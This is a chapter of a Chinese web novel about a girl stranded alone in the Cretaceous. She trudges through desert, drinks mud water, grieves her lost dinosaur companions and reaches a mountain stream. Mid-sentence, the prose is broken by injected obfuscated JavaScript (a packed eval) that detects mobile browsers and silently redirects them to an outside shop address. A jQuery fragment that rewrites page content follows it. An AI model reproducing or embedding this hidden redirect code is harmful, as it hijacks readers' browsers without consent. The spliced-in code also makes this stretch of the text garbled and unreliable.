她不知道自己走了多久。
也许是一天，也许是两天。时间在荒漠里变得很薄，薄到像一层纱，抓不住，也撕不烂。天亮了一次，又黑了一次。又亮了，又黑了。她分不清哪次是哪次。
她只是在走。
脚已经不是她的了。它们机械地迈步，左，右，左，右，像两个上了发条的机器。她不需要想，不需要看，甚至不需要呼吸——呼吸是自动的，和心跳一样，不用她管。
她只是走。
早晨的时候——也许是早晨，太阳从左边升起来，一个模糊的光斑——她走过一片碎石地。石头很小，踩上去哗啦哗啦响。以前她会低头看，怕崴脚，现在她不看了。崴了就崴了，反正也没人在乎。
碎石地走了很久。她的脚被硌得生疼，但她没有停。
中午的时候——也许是中午，太阳在头顶，一个更亮的光斑——她走过一片沙地。沙子很细，踩上去软绵绵的，不硌脚，但走起来更费力，每一步都陷下去一点。以前她会停下来休息，喝口水，吃点东西。现在她不休息了。水袋是空的，应急包是空的，停下来干什么？发呆吗？
她已经在发呆了。边走边发呆。
下午的时候——也许是下午，太阳在右边，一个快要掉下去的光斑——她走过一片泥地。泥地干裂了，裂缝像蛛网一样密密麻麻。她的脚踩进裂缝里，拔出来，又踩进去，又拔出来。以前她会绕路，现在她不绕了。绕路太麻烦，直接走就行。
她不知道自己在朝哪个方向走。
东北？也许是。也许不是。绒绒不在天上，没有人帮她确认方向。她只能凭感觉走，而她的感觉已经麻木了。她分不清东南西北，分不清白天黑夜，分不清自己在哪里。
她只是在走。
---
走过碎石地，走过沙地，走过泥地。
走过一棵枯树。树干歪着，枝条全断了，像一个被折断的人。她经过的时候，看了一眼。以前她会停下来，靠一靠，歇一歇。现在她没有停。枯树有什么好看的？又不是没看过。
走过一块大石头。石头很高，比她还高，像一根从地里长出来的手指。她经过的时候，看了一眼。以前她会伸手摸一摸，看看是凉的还是温的。现在她没有摸。石头有什么好摸的？又不是没摸过。
走过一小片枯草。草很矮，黄黄的，干得像纸。以前她会蹲下来，拔一根，放在嘴里嚼一嚼，看看有没有汁水。现在她没有蹲下来。草有什么好嚼的？又不是没嚼过。
她什么都不做了。
火神大人？不叫了。火都没有了，叫它干嘛。
报菜名？不报了。红烧肉、糖醋排骨、奶茶——这些词她说不出口了。说出来只会更饿，更想哭。她已经哭够了。
吐槽？不吐了。没有什么好吐槽的。荒原就是荒原，绝境就是绝境，吐槽了也不会变好。
她只是走。
眼神空洞，像两个被挖空的洞。不看前面，不看后面，不看左边，不看右边。只是看着脚下的地，或者什么都不看。
她的嘴唇干裂了。裂了好几道口子，每道口子里都渗着血丝。她不舔了，舔了也没用，越舔越干。她的舌头贴在牙齿上，像一块砂纸。
她的头发乱成一团，打了很多结，像一堆枯草。以前她会用手指梳一梳，把结解开。现在她不梳了。解开了明天还会打结，有什么用？
她的兽皮裙歪了，挂在腰上，一边高一边低。以前她会正一正。现在她不正了。歪了就歪了，反正没有人看。
她什么都无所谓了。
---
傍晚的时候——也许是傍晚，太阳在正前方，一个暗红色的圆——她走到了一条干涸的河床。
河床很宽，有十几米，但水早就干了。河床上铺满了白色的沙子和圆圆的鹅卵石。两边是陡峭的土坡，有两三米高，土坡上长着一些枯死的灌木。
她沿着河床走。
走了一会儿，她看到了脚印。
不是恐龙的脚印，不是她自己的脚印。是一串小小的、三趾的脚印，从河床的一边延伸到另一边，然后消失在土坡上。
伤齿龙的脚印。
和小智的一模一样。
她停下来，看着那串脚印。看了很久。然后她蹲下来，伸手摸了摸那个脚印。
“小智。”她轻声说。
声音沙哑得不像自己的。
没有人回答。
她站起来，继续走。没有顺着脚印去找，没有喊第二声。找什么？找到了也不是小智。小智被绒绒叼走了，绒绒飞远了。这个脚印是别的伤齿龙的，不是她的。
她走了几步，又停下来。
回头看了一下那串脚印。脚印静静地躺在那里，在夕阳下投下一小片阴影。
“小智。”她又说了一遍。
然后她转过身，继续走。
没有回头。
---
天黑了。
她没有生火。没有柴火了。最后一根干树枝昨晚烧完了，地上捡不到枯枝——这片河床什么都没有，只有沙子和石头。
她找了一个土坡的背风面，坐下来。
把应急包放在旁边。包瘪得像一张皮，里面什么都没有了——没有水袋（空了，扔了），没有蕨叶包（破了，扔了），没有兽皮（用完了），没有玩偶（还在，塞在背心里）。只有那个脏兮兮的玩偶，和那块沾血的兽皮，和那片碎叶子。
她把玩偶从背心里摸出来，放在膝盖上。
“绒绒。”她说。
玩偶不会回答。
她把玩偶贴在脸上。凉的。不是那种冰凉的凉，是那种没有温度的凉，像一块石头。
她靠着土坡，看着天空。
星星出来了。今晚的星星很多，密密麻麻的，像有人在天上撒了一把碎钻石。没有月亮。天很黑。
以前她会对着星星说话。说“林小北，你妹今天走了多远”，说“绒绒，你睡了吗”，说“小角，你有没有吃饱”，说“小智，你又偷了谁的坚果”。说很多很多，说到嗓子哑了，说到眼泪流干了。
现在她什么都不想说了。
说什么？没有人听。星星不会回答，风不会回答，荒漠不会回答。她说了几十天的话，没有一句得到过回答。除了那一次——绒绒在梦里叫了一声。但那不是真的，那是梦。梦是假的，和玩偶一样假。
她把玩偶攥在手心里。
“晚安。”她说了一个词。
不是对林小北说的，不是对绒绒说的，不是对小角说的，不是对小智说的。只是对自己说的。或者说，对空气说的。对什么都没有的空气说的。
她闭上眼睛。
没有哭。眼泪早就流干了。眼睛干涩得像两块砂纸，闭上也没有用。她只是把眼睛闭起来，假装自己睡着了。
她没有睡着。
脑子里全是东西，又什么都没有。像一锅煮糊了的粥，乱七八糟的，分不清什么是真的什么是假的。她想起绒绒第一次歪头看她的样子，想起小角拱她的手的样子，想起小智蹲在她肩膀上缩成毛球的样子。这些是真的。她又想起它们飞走的背影，一瘸一拐的背影，被叼走的背影。这些也是真的。
然后她想起自己一个人走在荒漠里的样子。那个也是真的。
都是真的。加在一起，就是她现在的样子。
---
第二天——也许不是第二天，也许是第三天，她分不清了——她醒过来，天已经亮了。
灰蒙蒙的光，灰蒙蒙的天空，灰蒙蒙的荒漠。一切都灰蒙蒙的，像蒙了一层纱。
她坐起来。
身体疼。每一块骨头都在疼，每一块肌肉都在酸。她伸手揉了揉脖子，手指碰到皮肤，凉的。她低头看了看自己的手。指甲缝里全是黑泥，手背上那道口子结的痂掉了，露出粉色的新皮。手指很干，干得像树皮，关节处裂了几道小口子，一动就疼。
她把手放下来，拿起短鱼叉。
鱼叉还在。叉尖有点钝了，柄上全是划痕。她握着鱼叉，站起来。
腿在抖。不是害怕，不是冷，是没力气。好几天没吃东西了，水也断了两天。她的身体在消耗自己，先是脂肪，然后是肌肉。她现在没有脂肪了——穿越前就没有多少，现在更没了。身体开始烧肌肉。她的腿比以前细了一圈，手臂也是。
她站着，等那阵晕眩过去。
头晕得厉害，像有人在她脑子里转圈。她闭了一会儿眼睛，深呼吸。吸进去的是冷空气，吐出来的是更冷的气。胸口空空的，像什么东西被挖走了。
晕眩过去了。
她睁开眼睛。
“走。”她对自己说。
声音很轻，轻到几乎听不到。
她朝一个方向走去。不知道是哪里，但她得走。停下来就会冷，冷就会想睡觉，睡觉就会死。她不想死。至少不想死在没有人知道的地方。
她走了。
---
走过河床，走过沙地，走过碎石地。
走过一棵倒下的树。树干很粗，比她腰还粗，横在地上，树根翘起来，像一只干枯的手。她经过的时候，看了一眼。以前她会停下来，看看树上有没有果子，树下有没有蘑菇。现在她没有停。有果子也摘不到，有蘑菇也不能生吃。
走过一小片绿色的东西。不是蕨类，是一种矮矮的、贴着地面的植物，叶子很小，圆圆的，绿中带黄。她经过的时候，看了一眼。以前她会蹲下来，拔一株，看看能不能吃。现在她没有蹲下来。能吃又怎样？生吃？她生吃过了，那味道她想起来就想吐。
走过一滩泥水。不是水坑，是泥水——一滩混着泥巴的黄水，上面漂着枯叶和不知名的小虫子。她经过的时候，看了一眼。以前她会蹲下来，用手捧一捧，尝尝能不能喝。现在她没有蹲下来。那水不能喝，喝了会拉肚子，拉肚子会脱水，脱水会死。
她什么都懂了。但懂了也没用。
因为她没有选择。
她走过了那滩泥水，走了十几步，停下来。站在那里，站了很久。然后她转身，走回去。
蹲下来，用手捧了一捧泥水。
水是黄的，里面有小虫子在游。她闭着眼睛，喝了一口。泥腥味，土腥味，还有一股腐烂的味道。她咽下去了。胃翻了一下，她按住胃，深呼吸。没吐。她又喝了一口。又一口。
喝完，她用袖子擦了擦嘴。
“林小禾。”她对自己说，“你连泥水都喝了。”
她笑了一下。不是开心的笑，是那种“我完了”的笑。
她把水袋拿出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697031|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了——空的，昨天没扔。她把泥水灌进去，水袋里多了半袋黄黄的东西。她晃了晃，让泥沙沉下去。等一会儿，上面的水会清一点。
她把水袋塞回去。
“走吧。”
---
中午的时候——也许是中午，太阳在头顶——她走出了河床，到了一片开阔的平原。
平原上没有树，没有灌木，没有草。只有灰白色的地，和灰白色的天。地平线是直的，像有人用尺子画了一条线，把天地分开。
她站在平原上，看着那条线。
以前她会想，那条线后面是什么？是山？是海？是裂缝？现在她不想了。那条线后面是什么都一样。她走不到。她走了这么多天，那道山影还是那么远。她走一步，它就退一步。她永远追不上。
“我走得到吗？”她问自己。
没有人回答。
她站在那里，站了很久。风从平原那边吹过来，把她的头发吹到脸上。她没有拨开。
然后她蹲下来。
不是因为累了——虽然确实累。而是因为她突然不知道自己为什么要走了。回家的路？她连方向都不知道。裂缝？她连裂缝在哪里都不知道。她只是在走。盲目地、麻木地、机械地走。像一个被上了发条的玩偶，停不下来，也不知道为什么要走。
她蹲在那里，把脸埋在膝盖里。
没有哭。眼泪早就没了。她只是蹲着，像一块石头。
蹲了很久。
久到太阳从头顶滑到了西边。久到她的腿麻了，手冻僵了。
她站起来。
“走。”她又说了一遍。
然后她走了。
---
傍晚的时候——她看到了山。
不是那道一直在远处的山影，而是一座真正的、近在眼前的山。不高，但很陡，山上长着一些绿色的树。山脚下有一条小溪，溪水很浅，但很清，能看到底部的石头。
她站在山前，看着那条小溪。
水。干净的水。
她走过去，蹲下来，用手捧了一捧。凉的，甜的。没有泥腥味，没有土腥味，没有腐烂的味道。她喝了一口，又喝了一口，又喝了一口。喝得太急了，呛了一下，咳嗽起来。咳了很久，咳得眼泪都出来了——不，不是眼泪，是水。她擦了一下脸，继续喝。
喝饱了，她坐在溪边，看着山。
山上有树，树上有叶子。绿色的叶子。不是枯黄的，是绿色的。她看着那些绿色，看了很久。她好久没见过绿色了。荒漠里只有灰白色和灰褐色，看久了，她都快忘了绿色是什么样子的。
“到了。”她轻声说。“我走到山了。”
她看着那道山，看着那条溪，看着那些绿色的树。然后她从背心里摸出那个玩偶，举到眼前。
“绒绒，你看。山。我走到了。”
玩偶不会回答。
她把玩偶贴在脸上。
“我一个人走到的。”
她停了一下。
“没有你，没有小角，没有小智。我一个人。”
她把玩偶攥在手心里，攥得很紧。
“我一个人也可以。”
她笑了一下。不是开心的笑，是那种“我终于做到了”的笑。
然后她从背心里拿出那块沾血的兽皮和那片碎叶子。兽皮已经硬了，血迹变成了暗褐色。叶子碎成了好几块，她用指尖轻轻捏着。
“小角，你看，山。”她把兽皮举起来。“小智，你看，山。”她把碎叶子举起来。
她把它们贴在胸口，靠着心脏的位置。
“我走到山了。你们看到了吗？”
没有人回答。
风吹过来，把她的头发吹到脸上。这次她拨开了。
她站起来，把玩偶、兽皮和碎叶子小心地放回背心里。然后把水袋拿出来，灌满了水。站起来，看了看山。山上有一条小路，弯弯曲曲的，通向山顶。山顶上有一块巨大的岩石，岩石后面有什么，她不知道。
“明天爬山。”她对自己说。“今天休息。”
她在溪边找了一块平坦的地方，放下应急包。没有柴火了，生不了火。她靠着应急包，抱着膝盖，看着山。
天黑了。
星星出来了。今晚的星星比昨晚多，密密麻麻的。山影在星光下变成了一团黑色的轮廓，像一只蹲着的巨兽。
她看着那颗最亮的星星。
“林小北。”她说。“你妹走到山了。”
“走了好多天。一个人。”
“你妹没有放弃。”
她停了一下。
“你妹好累。”
“好累好累。”
她把脸埋在膝盖里，闭上眼睛。
“晚安，林小北。”
她没有说绒绒的名字。没有说小角的名字。没有说小智的名字。
她只是把玩偶攥在手心里，靠着应急包，蜷在溪边。
没有火。没有翅膀。没有脚枕。没有毛球。
只有山，和水，和她。
她睡着了。
没有梦。
白垩纪，大概是第七十六天。
出发后的第十一天。
走到山了。
一个人。
明天爬山。